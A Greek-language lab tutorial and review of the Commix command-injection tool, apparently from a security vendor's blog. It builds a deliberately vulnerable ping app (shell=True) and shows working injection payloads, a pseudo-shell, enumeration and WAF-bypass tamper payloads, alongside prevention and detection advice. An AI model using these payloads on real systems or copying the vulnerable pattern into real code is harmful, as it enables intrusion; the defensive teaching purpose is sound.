Commix: command injection exploitation σε lab — Labs how-to & άμυνα

Μία και μόνο παράμετρος που φτάνει «ακούραστη» σε ένα shell αρκεί για να μετατραπεί μια αθώα φόρμα σε απομακρυσμένη εκτέλεση εντολών. Το command injection παραμένει από τις πιο θανατηφόρες κατηγορίες ευπαθειών web, ακριβώς επειδή δίνει στον επιτιθέμενο ό,τι δίνει και σε έναν διαχειριστή: το λειτουργικό σύστημα. Σε αυτό το Labs how-to παίρνουμε το Commix — το κορυφαίο open-source εργαλείο αυτοματοποιημένης ανίχνευσης και εκμετάλλευσης command injection — και το τρέχουμε σε ένα πλήρως απομονωμένο εργαστήριο εναντίον ενός ευάλωτου στόχου που φτιάχνουμε εμείς. Στόχος δεν είναι μόνο να δείξουμε πώς γίνεται η επίθεση, αλλά — κυρίως — πώς την εντοπίζετε και πώς την προλαμβάνετε.

Νομική και ηθική προειδοποίηση. Το command injection exploitation είναι επιθετική τεχνική. Το περιεχόμενο αυτού του άρθρου προορίζεται αποκλειστικά για χρήση σε απομονωμένο, νόμιμο εργαστήριο και μόνο πάνω σε συστήματα που σας ανήκουν ή για τα οποία έχετε γραπτή εξουσιοδότηση. Στο δικό μας lab ο στόχος έτρεχε σε loopback (127.0.0.1) χωρίς κανένα δημοσιευμένο port, και κάθε εντολή που «ενέσαμε» ήταν αβλαβής (id, whoami, hostname, uname -a) — καμία εγγραφή αρχείου, κανένα reverse shell, καμία persistence. Η μη εξουσιοδοτημένη χρήση τέτοιων τεχνικών εναντίον συστημάτων τρίτων είναι παράνομη. Δοκιμάζετε μόνο ό,τι ελέγχετε.

Εισαγωγή: γιατί το command injection παραμένει τόσο επικίνδυνο

Το OS command injection ανήκει στην ίδια «οικογένεια» με το SQL injection: και τα δύο προκύπτουν όταν δεδομένα ελεγχόμενα από τον χρήστη αναμειγνύονται με κώδικα/εντολές που εκτελεί ένας διερμηνέας. Στην περίπτωση του command injection, ο διερμηνέας δεν είναι μια βάση δεδομένων αλλά το ίδιο το shell του λειτουργικού συστήματος. Αυτό κάνει το αντίκτυπο δραματικά μεγαλύτερο: ένα επιτυχημένο SQLi σας δίνει (συνήθως) τη βάση· ένα επιτυχημένο command injection σας δίνει τον διακομιστή.

Το μοτίβο που το γεννά είναι απελπιστικά κοινό. Μια εφαρμογή θέλει να τρέξει ένα εξωτερικό εργαλείο — ένα ping, ένα nslookup, έναν μετατροπέα εικόνας (ImageMagick), ένα ffmpeg, ένα git, ένα tar, ένα PDF-to-text pipeline — και, αντί να καλέσει το εργαλείο με ελεγχόμενα ορίσματα, χτίζει ένα string και το παραδίδει σε ένα shell. Από τη στιγμή που η είσοδος του χρήστη μπει σε αυτό το string χωρίς αυστηρό έλεγχο, ένας χαρακτήρας όπως ;, |, &&, ` ` ή $( )` «σπάει» την πρόθεση του προγραμματιστή και προσθέτει δικές του εντολές.

Στην καθημερινότητα ενός pentester ή ενός SOC, το command injection εμφανίζεται σε πιο πολλά σημεία απ’ όσο νομίζει κανείς: σε admin panels και σε «διαγνωστικά» εργαλεία δικτύου, σε endpoints που επεξεργάζονται uploads, σε webhooks, σε παλιό εσωτερικό tooling, σε συσκευές IoT/router με web UI, ακόμη και σε σύγχρονα microservices που «σκάβουν» έναν shell για ευκολία. Και επειδή πολλές από αυτές τις ευπάθειες είναι blind (δεν βλέπετε την έξοδο της εντολής στην απόκριση), χρειάζεστε μεθοδολογία και εργαλεία που ξέρουν να επιβεβαιώνουν εκτέλεση με έμμεσους τρόπους — χρόνο, out-of-band, ενδιάμεσα αρχεία. Εδώ ακριβώς μπαίνει το Commix.

Τι είναι το Commix

Το Commix (από το command injection exploiter) είναι ένα open-source εργαλείο penetration testing, γραμμένο σε Python από τον Έλληνα ερευνητή Anastasios Stasinopoulos (@ancst), που αυτοματοποιεί την ανίχνευση και την εκμετάλλευση ευπαθειών command injection. Είναι ένα project με βαθιά ρίζα και συνέπεια: ξεκίνησε το 2015, μετρά περίπου 5.770 stars και 935 forks στο GitHub, έχει ελάχιστα ανοιχτά issues και — τη μέρα που το κατεβάσαμε για αυτό το review — είχε commit της ίδιας ημέρας. Διανέμεται υπό άδεια GNU GPLv3 και έρχεται προεγκατεστημένο στα Kali Linux, Parrot OS και BlackArch. Με άλλα λόγια, δεν είναι ένα πειραματικό script· είναι υποδομή που χρησιμοποιεί καθημερινά η παγκόσμια κοινότητα offensive security.

Η φιλοσοφία του Commix είναι «ένα πράγμα, πολύ καλά». Δεν προσπαθεί να είναι γενικός web scanner. Επικεντρώνεται αποκλειστικά στο command injection και το καλύπτει σε βάθος, με πολλαπλές τεχνικές:

• Results-based (classic & eval-based): όταν η έξοδος της εντολής επιστρέφει μέσα στην απόκριση. Είναι η πιο άμεση περίπτωση και αυτή που δείχνουμε στο lab.
• Blind, time-based: όταν δεν βλέπετε έξοδο, το Commix «μετρά τον χρόνο» — π.χ. εισάγει ένα sleep και συμπεραίνει την εκτέλεση από την καθυστέρηση της απόκρισης.
• Semi-blind, file-based & tempfile-based: γράφει την έξοδο σε ένα προσβάσιμο αρχείο (π.χ. στο web root) και το διαβάζει, ή χρησιμοποιεί προσωρινά αρχεία.
• Shellshock module: ειδικό module για την ιστορική οικογένεια ευπαθειών Bash/CGI (CVE-2014-6271 κ.ά.).

Μόλις εντοπίσει σημείο injection, το Commix προσφέρει έναν πλήρη pseudo-terminal shell και ένα os-shell, ώστε να εκτελείτε εντολές σαν να είχατε πραγματικό τερματικό. Διαθέτει επίσης έτοιμο enumeration (τρέχων χρήστης, hostname, δικαιώματα, πληροφορίες συστήματος, χρήστες, hashes), δυνατότητα ανάγνωσης/εγγραφής αρχείων (--file-read, --file-write) και — για εξουσιοδοτημένα σενάρια — επιθετικές επεκτάσεις όπως reverse/bind TCP shells και παράδοση σε Metasploit. Στο παρόν review δεν χρησιμοποιήσαμε καμία από τις επιθετικές επεκτάσεις· μείναμε αυστηρά σε αβλαβείς, read-only εντολές.

Το «μυστικό όπλο» του Commix για bypass φίλτρων είναι τα tamper scripts: 22 μικρές μονάδες που μεταλλάσσουν το payload για να ξεγελάσουν input validation και WAF — αντικαθιστούν το κενό με $IFS, κάνουν base64/hex encoding, τυχαιοποιούν την κεφαλαιοποίηση, εισάγουν μη αρχικοποιημένες μεταβλητές bash, και άλλα. Όπως θα δούμε, αυτό το κομμάτι είναι εξίσου χρήσιμο για την άμυνα, γιατί σας δείχνει ακριβώς πόσο εύκολα ξεφεύγει ένα payload από naive κανόνες.

Γιατί έχει αξία για επαγγελματίες κυβερνοασφάλειας

Για την επιθετική πλευρά, το Commix εξοικονομεί ώρες. Αντί να δοκιμάζετε χειροκίνητα δεκάδες παραλλαγές metacharacters, prefix/suffix και encodings σε κάθε ύποπτη παράμετρο, το εργαλείο τρέχει μια δομημένη μπαταρία heuristics και τεχνικών, επιβεβαιώνει την εκτέλεση με μαθηματικό «απόδειξη ζωής» (arithmetic marker), και σας παραδίδει έτοιμο shell. Σε ένα εξουσιοδοτημένο web, API & mobile penetration testing, αυτό σημαίνει ότι εντοπίζετε το κρίσιμο εύρημα γρήγορα και αξιόπιστα, με τεκμηρίωση που μπαίνει αυτούσια στο report.

Για την αμυντική πλευρά — που είναι και η οπτική με την οποία το προσεγγίζουμε στην Audax — το Commix είναι ένα εξαιρετικό εργαλείο detection validation. Τα payloads που παράγει έχουν συγκεκριμένη, αναγνωρίσιμη μορφή: markers με τυχαία γράμματα, αριθμητικές πράξεις μέσα σε $(( )), command substitution με $( ), $IFS αντί για κενά, sleep/timeout για time-based. Αυτό είναι ένα έτοιμο corpus κίνησης που μπορείτε να περάσετε μέσα από το WAF, το EDR και το SIEM σας για να απαντήσετε στο μόνο ερώτημα που μετράει: «αν κάποιος δοκιμάσει command injection στην εφαρμογή μας, θα το δει κανείς;». Η διαφορά ανάμεσα στο «έχουμε WAF» και στο «δοκιμάσαμε το WAF μας απέναντι σε classic, blind και tampered command injection και εδώ είναι τα αποτελέσματα» είναι η διαφορά ανάμεσα σε μια δήλωση και σε μια απόδειξη — ακριβώς το είδος απόδειξης που ζητά ένα πλαίσιο adversary validation και που απαιτεί, ουσιαστικά, η συμμόρφωση με NIS2 και DORA.

Προαπαιτούμενα

Για να αναπαράγετε το εργαστήριο χρειάζεστε:

• Έναν υπολογιστή Linux (εμείς χρησιμοποιήσαμε Ubuntu 24.04) με Python 3 (δοκιμάσαμε 3.12.3). Το Commix τρέχει και σε Python 2.6/2.7.
• git για να κλωνοποιήσετε το αποθετήριο.
• Δικαιώματα να τρέξετε έναν τοπικό web server σε loopback — τίποτα προνομιακό.
• Καμία εξωτερική εξάρτηση pip: το Commix «κουβαλά» τις βιβλιοθήκες του (colorama, six, beautifulsoup, odict) μέσα στο src/thirdparty.
• Απομονωμένο περιβάλλον. Ιδανικά ένα VM ή ένα private docker bridge. Εμείς, επειδή ο docker daemon απαιτούσε διαδραστικό sudo στη συνεδρία, χρησιμοποιήσαμε την ισοδύναμα ασφαλή εναλλακτική: έναν ευάλωτο στόχο δεμένο αποκλειστικά στο 127.0.0.1, χωρίς κανένα δημοσιευμένο port.

Το εργαστηριακό περιβάλλον δοκιμών

Για να δοκιμάσουμε command injection χρειαζόμαστε έναν στόχο που είναι σκόπιμα ευάλωτος. Αντί να στήσουμε ολόκληρο το DVWA, γράψαμε ένα μικροσκοπικό «εργαλείο ping» σε καθαρή Python (http.server), που αναπαράγει ακριβώς το κλασικό anti-pattern — το ίδιο που έχει και το Command Injection module του DVWA. Η καρδιά της ευπάθειας είναι τρεις γραμμές:

ip  = qs["ip"][0]
cmd = "ping -c 1 " + ip                        # η είσοδος του χρήστη μπαίνει στο string
subprocess.check_output(cmd, shell=True, ...)  # shell=True -> command injection

Το shell=True σε συνδυασμό με τη συνένωση string είναι η «γενέθλια αμαρτία». Ο διακομιστής μας άκουγε μόνο στο 127.0.0.1:8899, χωρίς 0.0.0.0, χωρίς port publishing — άρα η κίνηση δεν έφυγε ποτέ από το μηχάνημα. Πριν καν φέρουμε το Commix, επιβεβαιώσαμε χειροκίνητα ότι η ευπάθεια υπάρχει, με ένα απλό curl:

$ curl -s "http://127.0.0.1:8899/ping?ip=127.0.0.1"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.015 ms
$ curl -s "http://127.0.0.1:8899/ping?ip=127.0.0.1;id"     # χειροκίνητη ένεση
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.019 ms
uid=1000(labuser) gid=1000(labuser) groups=1000(labuser),27(sudo)

Ο χαρακτήρας ; τερμάτισε το ping και το id εκτελέστηκε ως ξεχωριστή εντολή. Αυτή είναι η απόδειξη ότι ο στόχος είναι πράγματι ευάλωτος — τώρα ας δούμε πόσο καθαρά το αυτοματοποιεί το Commix.

Πρακτική δοκιμή του εργαλείου — βήμα προς βήμα

Βήμα 1 — Εγκατάσταση

Η εγκατάσταση είναι από τις πιο ανώδυνες που θα συναντήσετε: δεν υπάρχει compilation, δεν υπάρχουν εξαρτήσεις pip. Ο πιο σίγουρος και υποστηριζόμενος τρόπος (όπως λέει και το README) είναι απλό git clone και εκτέλεση απευθείας από τον φάκελο:

git clone https://github.com/commixproject/commix
python3 commix/commix.py --version
# -> v4.2.dev25

Εναλλακτικά, για απομόνωση, μπορείτε να στήσετε ένα Python virtual environment. (Σημείωση: στο dev tip που δοκιμάσαμε, το console script που παράγει το pip install έσπαγε με ImportError: cannot import name 'entry_point' — γι’ αυτό και χρησιμοποιήσαμε τη μέθοδο python3 commix.py, που είναι άλλωστε η επίσημη.)

python3 -m venv venv && source venv/bin/activate
pip install ./commix -q

Επαλήθευση: το --version πρέπει να επιστρέψει v4.2.dev25 (ή νεότερο). Αν δείτε το banner του Commix, είστε έτοιμοι.

Βήμα 2 — Εκκίνηση του ευάλωτου στόχου

Ξεκινάμε τον ευάλωτο στόχο σε loopback και επιβεβαιώνουμε ότι ακούει:

python3 lab/vuln_app.py
# [lab-target] VULNERABLE ping app on http://127.0.0.1:8899/ping?ip=127.0.0.1
# [lab-target] loopback only, no external exposure. Ctrl-C to stop.

Επαλήθευση: ss -ltn | grep 8899 πρέπει να δείχνει 127.0.0.1:8899 (και όχι 0.0.0.0).

Βήμα 3 — Ανίχνευση και εκτέλεση μίας εντολής

Δείχνουμε στο Commix το URL και την ευάλωτη παράμετρο (-p ip) και του ζητάμε να εκτελέσει μία αβλαβή εντολή (--os-cmd="id"). Το --ignore-stdin αποτρέπει το Commix από το να «μπερδέψει» το μη-TTY stdin με λίστα στόχων, ενώ το --answers απαντά αυτόματα σε δύο prompts:

python3 commix/commix.py -u "http://127.0.0.1:8899/ping?ip=127.0.0.1" -p ip \
  --os-cmd="id" --batch --ignore-stdin \
  --answers="recognize=u,pseudo-terminal=N" --disable-coloring

Το πραγματικό αποτέλεσμα:

[info] Checking whether the target is protected by some kind of WAF/IPS.
[info] Performing heuristic (passive) tests on the target URL.
[info] Performing heuristic (basic) tests to the GET parameter 'ip'.
[info] Heuristic (basic) tests show that GET parameter 'ip' might be injectable (possible OS: 'Unix-like').
[info] Testing the (results-based) classic command injection technique.
[info] GET parameter 'ip' appears to be injectable via (results-based) classic command injection technique.
       |_ 127.0.0.1;echo MGYUJG$((21+52))$(echo MGYUJG)MGYUJG
[info] Executing user-supplied command 'id'.
[info] 'id' execution output: uid=1000(labuser) gid=1000(labuser) groups=1000(labuser),27(sudo)

Προσέξτε το payload: 127.0.0.1;echo MGYUJG$((21+52))$(echo MGYUJG)MGYUJG. Το Commix δεν αρκείται στο να δει το marker MGYUJG να αντανακλάται· βάζει και μια αριθμητική πράξη ($((21+52)) → 73) και ένα command substitution ($(echo MGYUJG)). Αν και τα δύο «υπολογιστούν» σωστά στην απόκριση, τότε αποδεδειγμένα εκτελείται κώδικας — όχι απλή αντανάκλαση. Αυτό είναι που κάνει την ανίχνευση αξιόπιστη και ελαχιστοποιεί τα false positives.

Βήμα 4 — Το pseudo-terminal shell

Το πιο εντυπωσιακό κομμάτι είναι ο διαδραστικός φλοιός. Εδώ τροφοδοτούμε το Commix με μια σειρά αβλαβών εντολών και βλέπουμε την απόκριση σαν να έχουμε τερματικό στον στόχο:

printf 'whoami\nhostname\nid\nuname -a\nquit\n' | python3 commix/commix.py \
  -u "http://127.0.0.1:8899/ping?ip=127.0.0.1" -p ip --batch --ignore-stdin \
  --answers="recognize=u" --disable-coloring

Pseudo-Terminal Shell (type '?' for available options)
commix(os_shell) > labuser
commix(os_shell) > lab-host
commix(os_shell) > uid=1000(labuser) gid=1000(labuser) groups=1000(labuser),27(sudo)
commix(os_shell) > Linux lab-host 6.17.0-35-generic #35~24.04.1-Ubuntu SMP ... x86_64 GNU/Linux

Σε μια πραγματική, εξουσιοδοτημένη αξιολόγηση, αυτό το σημείο είναι που μετατρέπει ένα «θεωρητικό» εύρημα σε αδιαμφισβήτητη απόδειξη επίπτωσης. Εμείς σταματήσαμε στα whoami/hostname/id/uname — καμία ενέργεια με αντίκτυπο.

Βήμα 5 — Ενσωματωμένο enumeration

Το Commix μπορεί να συλλέξει βασικά στοιχεία του host με μία εντολή:

python3 commix/commix.py -u "http://127.0.0.1:8899/ping?ip=127.0.0.1" -p ip \
  --current-user --hostname --is-root --sys-info --batch --ignore-stdin \
  --answers="recognize=u,pseudo-terminal=N,continue=N,skip=Y" --disable-coloring

[info] Hostname: lab-host
[info] Current user: labuser
[info] Current user has elevated privileges: False
[info] Operating system: Linux Ubuntu 24.04 x86_64

Παρατηρήστε το elevated privileges: False: το Commix κατάλαβε σωστά ότι δεν τρέχουμε ως root — μια χρήσιμη ένδειξη για την αξιολόγηση της πραγματικής επίπτωσης (least privilege). Όλα τα ευρήματα καταγράφονται και σε αρχείο session (.output/<host>/logs.txt), που μπαίνει αυτούσιο ως τεκμήριο στο report.

Βήμα 6 — Tamper scripts: μοντελοποίηση WAF bypass

Εδώ περνάμε στο κομμάτι που ενδιαφέρει άμεσα και τους defenders. Ζητάμε από το Commix να μεταλλάξει τα payloads με δύο tampers — space2ifs (αντικαθιστά τα κενά με $IFS) και randomcase (τυχαία κεφαλαία/πεζά):

python3 commix/commix.py -u "http://127.0.0.1:8899/ping?ip=127.0.0.1" -p ip \
  --os-cmd="id" --tamper="space2ifs,randomcase" -v 1 --batch --ignore-stdin \
  --answers="recognize=u,pseudo-terminal=N,continue=N,skip=Y" --disable-coloring

[payload] 127.0.0.1;echo${IFS}QQFPIX$((42+37))$(echo${IFS}QQFPIX)QQFPIX
[payload] ...$($(echo${IFS}iD|tr${IFS}"[A-Z]"${IFS}"[a-z]"))...
[info] 'id' execution output: uid=1000(labuser) gid=1000(labuser) groups=1000(labuser),27(sudo)

Το κενό εξαφανίστηκε — έγινε ${IFS} — και το id μεταμφιέστηκε ως iD που κατεβαίνει σε πεζά με tr κατά την εκτέλεση. Ένας naive κανόνας WAF που ψάχνει για id ή για κενά ανάμεσα σε εντολές θα το έχανε. Αυτό είναι, σε μία εικόνα, γιατί το «signature-based» blocking δεν αρκεί.

Επαλήθευση

Σε κάθε βήμα, η επαλήθευση είναι απλή: (α) το Commix δηλώνει ρητά appears to be injectable via ... classic command injection technique, (β) η έξοδος της αβλαβούς εντολής (uid=..., lab-host, kernel string) εμφανίζεται μέσα στην απόκριση, και (γ) το ίδιο επιβεβαιώνεται ανεξάρτητα με το χειροκίνητο curl του Βήματος 2. Τρεις ανεξάρτητες ενδείξεις, μηδέν εικασίες.

Αντιμετώπιση προβλημάτων

• Using 'stdin' for parsing targets list. και αγνοεί το -u: συμβαίνει όταν κάνετε pipe την έξοδο (μη-TTY stdin). Προσθέστε --ignore-stdin και, αν χρειαστεί, ανακατευθύνετε < /dev/null.
• Ατέρμονο [error] EOF when reading a line: το --batch απαντά αυτόματα «Y» στο prompt για pseudo-shell και μετά δεν έχει τι να διαβάσει. Απαντήστε «Ν» με --answers="pseudo-terminal=N", ή τροφοδοτήστε εντολές με printf '...\nquit\n' | ....
• Το console script commix σκάει με ImportError: χρησιμοποιήστε τη μέθοδο python3 commix.py από τον φάκελο του repo (η επίσημη).
• Failed to identify the server's underlying operating system: φυσιολογικό για minimal στόχους· απαντήστε u (unix-like) με --answers="recognize=u".

Τι αποτελέσματα έδωσε

Σε καθαρά τεχνικό επίπεδο, το Commix «πέτυχε στην πρώτη βολή». Εντόπισε τη classic results-based ευπάθεια χωρίς false positive, επιβεβαίωσε την εκτέλεση με τον μαθηματικό marker, άνοιξε λειτουργικό pseudo-shell, μάζεψε σωστά τα βασικά στοιχεία του host (χρήστη, hostname, δικαιώματα, OS) και έδειξε πειστικά πώς τα tamper scripts παρακάμπτουν αφελή φίλτρα. Όλα αυτά χωρίς μία εξωτερική εξάρτηση και με καθαρό, αναγνώσιμο output που μπαίνει αυτούσιο σε report.

Δύο πρακτικές παρατηρήσεις για ρεαλιστικές προσδοκίες. Πρώτον, τα payloads του Commix είναι θορυβώδη και εύκολα αναγνωρίσιμα — κάτι που είναι μειονέκτημα για stealthy red teaming αλλά τεράστιο πλεονέκτημα για την άμυνα, γιατί σας δίνει σαφή, σταθερά μοτίβα να ανιχνεύσετε. Δεύτερον, η εργαλειοθήκη δεν αντικαθιστά την κρίση: σε blind σενάρια θα χρειαστεί να επιλέξετε σωστά τεχνική (time-based/file-based), --time-sec, --web-root/--tmp-path και ενδεχομένως tampers, και να επαληθεύσετε χειροκίνητα. Το Commix είναι εξαιρετικός επιταχυντής, όχι «κουμπί που βρίσκει τα πάντα».

Ακριβώς αυτή η ικανότητα να παράγετε ελεγχόμενα, επαναλήψιμα σενάρια επίθεσης είναι που κάνει το Commix πολύτιμο σε ένα πρόγραμμα continuous exposure management: δεν ελέγχετε την άμυνά σας μία φορά τον χρόνο, αλλά συνεχώς, με την ίδια αυστηρότητα, μετά από κάθε αλλαγή.

Άμυνα & πρόληψη

Εδώ είναι το κομμάτι που, ως Audax, θεωρούμε το πιο σημαντικό. Το command injection δεν είναι «μαγικό» — γεννιέται από ένα και μόνο λάθος (μη ελεγχόμενη είσοδος σε shell) και αντιμετωπίζεται με σαφείς, γνωστές πρακτικές.

Πώς συμβαίνει. Η αλυσίδα είναι πάντα η ίδια: (1) η εφαρμογή παίρνει είσοδο από τον χρήστη, (2) την ενσωματώνει σε ένα string εντολής, (3) το παραδίδει σε ένα shell (system(), exec με shell=True, ` backticks , os.popen, child_process.exec κ.λπ.), (4) το shell ερμηνεύει metacharacters (; | & && || \ $() > < *) και εκτελεί ό,τι πρόσθεσε ο επιτιθέμενος.

Πώς προλαμβάνεται (κατά σειρά αποτελεσματικότητας):

1. Μην καλείτε shell. Η ριζική λύση. Χρησιμοποιήστε APIs που δέχονται το πρόγραμμα και τα ορίσματα ως λίστα, χωρίς ενδιάμεσο shell: στην Python subprocess.run(["ping","-c","1",ip], shell=False)· σε Java ProcessBuilder με ξεχωριστά args· σε Node το execFile/spawn αντί για exec. Έτσι το ;id γίνεται απλώς ένα (άκυρο) όρισμα, όχι νέα εντολή.
2. Αποφύγετε εντελώς την κλήση εξωτερικών εντολών όπου γίνεται. Για ping/DNS/αρχεία υπάρχουν native βιβλιοθήκες. Λιγότερα shells, λιγότερη επιφάνεια επίθεσης.
3. Αυστηρό input validation με allow-list. Αν πρέπει να δεχτείτε μια IP ή ένα hostname, επικυρώστε το απέναντι σε μια αυστηρή allow-list/regex (π.χ. έγκυρη IPv4/hostname) και απορρίψτε οτιδήποτε άλλο. Ποτέ deny-list από «κακούς χαρακτήρες» — πάντα ξεφεύγει κάτι (το randomcase/$IFS παράδειγμα το δείχνει).
4. Least privilege. Ο web χρήστης να τρέχει με ελάχιστα δικαιώματα, χωρίς root, με seccomp/AppArmor/SELinux και, ιδανικά, μέσα σε container με read-only filesystem. Έτσι, ακόμη κι αν συμβεί injection, ο αντίκτυπος περιορίζεται (στο lab μας, elevated privileges: False).
5. Άμυνα σε βάθος στο runtime. WAF (με σύγχρονους, όχι naive κανόνες), egress filtering (για να «κόβετε» reverse shells και out-of-band), και container isolation.

Πώς ανιχνεύεται. Ακόμη και με σωστό κώδικα, θέλετε ορατότητα. Το Commix σάς προσφέρει το τέλειο testbed:

• WAF/reverse proxy logs: ψάξτε σε παραμέτρους για metacharacters και μοτίβα εντολών — ;, |, &&, $( ), ` `, $IFS, γνωστά ονόματα εντολών (id, whoami, uname, cat /etc/passwd), και time-based δείκτες (sleep, timeout`). Δοκιμάστε τους κανόνες σας απέναντι στα tampered payloads του Commix, όχι μόνο στα «καθαρά».
• EDR / command-line telemetry: το πιο αξιόπιστο σήμα δεν είναι το HTTP αλλά το process tree. Ένα nginx/php-fpm/python που ξαφνικά γεννά sh -c "ping ... ; id", whoami, uname -a ή bash -i είναι κραυγαλέο. Στήστε detections για ανώμαλα child processes web διεργασιών.
• SIEM correlation: συσχετίστε «ύποπτο HTTP request» + «νέα shell διεργασία από web χρήστη» + «εξερχόμενη σύνδεση». Τα payloads του Commix παράγουν ακριβώς αυτή την αλυσίδα, οπότε είναι ιδανικά για να χτίσετε και να επικυρώσετε το analytics.

Με άλλα λόγια: τρέχετε το Commix εναντίον ενός δικού σας staging στόχου και μετράτε πόσα από τα requests μπλόκαρε το WAF, πόσα shell spawns σήκωσε το EDR, πόσα alerts παρήγαγε το SIEM. Αυτό μετατρέπει τη «στάση ασφάλειας» από πεποίθηση σε μετρήσιμο, τεκμηριωμένο αποτέλεσμα — τη γλώσσα που καταλαβαίνουν το NIS2 και το DORA.

Δυνατά σημεία

• Κορυφαίο στην κατηγορία του. Καλύπτει command injection σε βάθος (classic, eval, time-based, file/tempfile-based, shellshock) — κάτι που κανένας γενικός scanner δεν κάνει το ίδιο καλά.
• Μηδέν εξαρτήσεις, τεράστια φορητότητα. Τρέχει όπου τρέχει Python· κουβαλά τις βιβλιοθήκες του.
• Αξιόπιστη ανίχνευση. Ο μαθηματικός marker αποτρέπει false positives από απλή αντανάκλαση.
• Πραγματικό pseudo-shell & enumeration. Μετατρέπει το εύρημα σε αδιαμφισβήτητη απόδειξη επίπτωσης.
• 22 tamper scripts. Μοντελοποιούν ρεαλιστικό WAF/filter bypass — εξαιρετικά για detection testing.
• Ώριμο & ενεργό. 11 χρόνια ανάπτυξης, ελληνικής προέλευσης, με ζωντανή κοινότητα και άριστη τεκμηρίωση (wiki, μεταφράσεις).
• Καθαρό logging. Τα session αρχεία μπαίνουν αυτούσια σε report.

Περιορισμοί και αδυναμίες

• Σπασμένο pip console script στο dev tip (λύνεται με python3 commix.py).
• Αιχμηρά σημεία σε αυτοματοποίηση: το --batch αυτο-ανοίγει pseudo-shell· το μη-TTY stdin «κλέβει» το parsing στόχων. Και τα δύο παρακάμπτονται εύκολα, αλλά ξενίζουν στην αρχή.
• Στενό εύρος από σχεδιασμό. Δεν είναι γενικός web scanner· κάνει ένα πράγμα.
• Θορυβώδη payloads. Μειονέκτημα για stealthy red teaming (πλεονέκτημα για blue team).
• Καμπύλη κρίσης στα blind σενάρια. Χρειάζεται σωστή επιλογή τεχνικής/παραμέτρων και χειροκίνητη επαλήθευση.

Θέματα ασφάλειας κατά τη χρήση

Το Commix εκτελεί εντολές στον στόχο — είναι, εξ ορισμού, εργαλείο εκμετάλλευσης. Πριν το χρησιμοποιήσετε: (1) βεβαιωθείτε ότι έχετε γραπτή εξουσιοδότηση και σαφές scope· (2) κρατήστε το σε απομονωμένο περιβάλλον για δοκιμές/εκπαίδευση· (3) μην χρησιμοποιείτε τις επεκτάσεις reverse/bind shell, Metasploit ή --file-write παρά μόνο εντός εξουσιοδοτημένου engagement· (4) αποφύγετε τα --check-internet/--update αν θέλετε πλήρη offline λειτουργία· (5) αντιμετωπίστε τα παραγόμενα payloads και τα session logs ως ευαίσθητα δεδομένα engagement. Ο ίδιος ο κώδικας είναι καθαρός — δεν βρήκαμε τηλεμετρία, pipe-to-shell installers ή κρυφά endpoints· η «επικινδυνότητά» του πηγάζει αποκλειστικά από τον σκοπό του.

Πού μπορεί να χρησιμοποιηθεί επαγγελματικά

• Web/API penetration testing: ταχύτατος εντοπισμός & επιβεβαίωση command injection σε διαγνωστικά εργαλεία, μετατροπείς, admin panels, webhooks, IoT/router UIs.
• Purple team / detection validation: παραγωγή ρεαλιστικής κακόβουλης κίνησης για έλεγχο WAF/EDR/SIEM — με tampers για evasion.
• CTEM (Erevos AI): συνεχής, επαναλήψιμη επιβεβαίωση ότι οι άμυνες απέναντι σε command injection κρατούν μετά από κάθε αλλαγή.
• Συμμόρφωση (NIS2/DORA): μετατρέπει το «έχουμε WAF» σε «το δοκιμάσαμε απέναντι σε N τεχνικές — ιδού τα ευρήματα».
• Εκπαίδευση: αναφορά για το πώς λειτουργεί, ανιχνεύεται και προλαμβάνεται το command injection.

Πότε δεν πρέπει να χρησιμοποιηθεί

• Εναντίον οποιουδήποτε συστήματος δεν σας ανήκει ή δεν έχετε γραπτή άδεια να ελέγξετε.
• Ως γενικός web scanner — δεν είναι αυτός ο ρόλος του.
• Σε μη ελεγχόμενη αυτοματοποίηση --batch χωρίς scoping: θα προσπαθήσει πρόθυμα να ανοίξει shell. Κρατήστε το lab-scoped και υπό επίβλεψη.
• Όταν χρειάζεστε stealth: τα payloads του είναι εύκολα ανιχνεύσιμα.

Τελική αξιολόγηση

Βαθμολογία: 9/10 — Ανεπιφύλακτα συνιστώμενο (για εξουσιοδοτημένα engagements και εργαστήρια). Το Commix κάνει ακριβώς αυτό που υπόσχεται, το κάνει εξαιρετικά, είναι ώριμο και ενεργά συντηρούμενο, και — το πιο σημαντικό για εμάς — έχει τεράστια αμυντική αξία. Ο μοναδικός βαθμός που αφαιρούμε αφορά το σπασμένο pip console script στο dev tip και μερικές αιχμές στην αυτοματοποίηση· τίποτα από αυτά δεν αγγίζει τον πυρήνα, που στο lab μας λειτούργησε άψογα.

Συμπέρασμα

Το command injection είναι η κατηγορία ευπάθειας που ενσαρκώνει καλύτερα το κεντρικό δίδαγμα της ασφάλειας εφαρμογών: μην εμπιστεύεσαι ποτέ την είσοδο, και μην την αναμειγνύεις με κώδικα. Το Commix, δουλειά ενός Έλληνα ερευνητή με διεθνή απήχηση, είναι το εργαλείο-αναφορά για να δει κανείς αυτή την αλυσίδα από άκρη σε άκρη — από την ανίχνευση, στο shell, στο enumeration, στο WAF bypass. Για μια ομάδα offensive security είναι επιταχυντής· για μια ομάδα άμυνας είναι ένα πολύτιμο testbed· και για έναν οργανισμό που θέλει να μιλήσει τη γλώσσα του NIS2/DORA, είναι ο τρόπος να μετατρέψει τις υποθέσεις σε αποδείξεις. Το να ξέρετε πώς επιτίθεται κανείς είναι η προϋπόθεση για να ξέρετε πώς να αμυνθείτε.

Από το εργαστήριο, στο δικό σας περιβάλλον

Το εργαστήριο δείχνει τι μπορεί να κάνει ένα εργαλείο. Η πραγματική ερώτηση, όμως, είναι τι συμβαίνει στο δικό σας περιβάλλον, με τις δικές σας εφαρμογές, κάτω από πίεση. Η Audax Cybersecurity μεταφράζει αυτή τη γνώση σε αξία: μέσα από στοχευμένο web, API & mobile penetration testing, δομημένο adversary validation και συνεχή χαρτογράφηση της επιφάνειας επίθεσης με continuous exposure management, αποδεικνύουμε τι πραγματικά σας εκθέτει — και το ιεραρχούμε.

Το Erevos AI είναι η ετήσια managed υπηρεσία CTEM της Audax: human-led, machine-scaled, με τεκμηριωμένη απόδειξη ανθεκτικότητας που στηρίζει τη συμμόρφωσή σας με NIS2 & DORA. Δεν σας δίνουμε μια λίστα ευπαθειών· σας δίνουμε απόδειξη ότι οι άμυνές σας αντέχουν — ή τον ακριβή δρόμο για να τις κάνετε να αντέξουν.

Human-led. Machine-scaled. Technically proven.

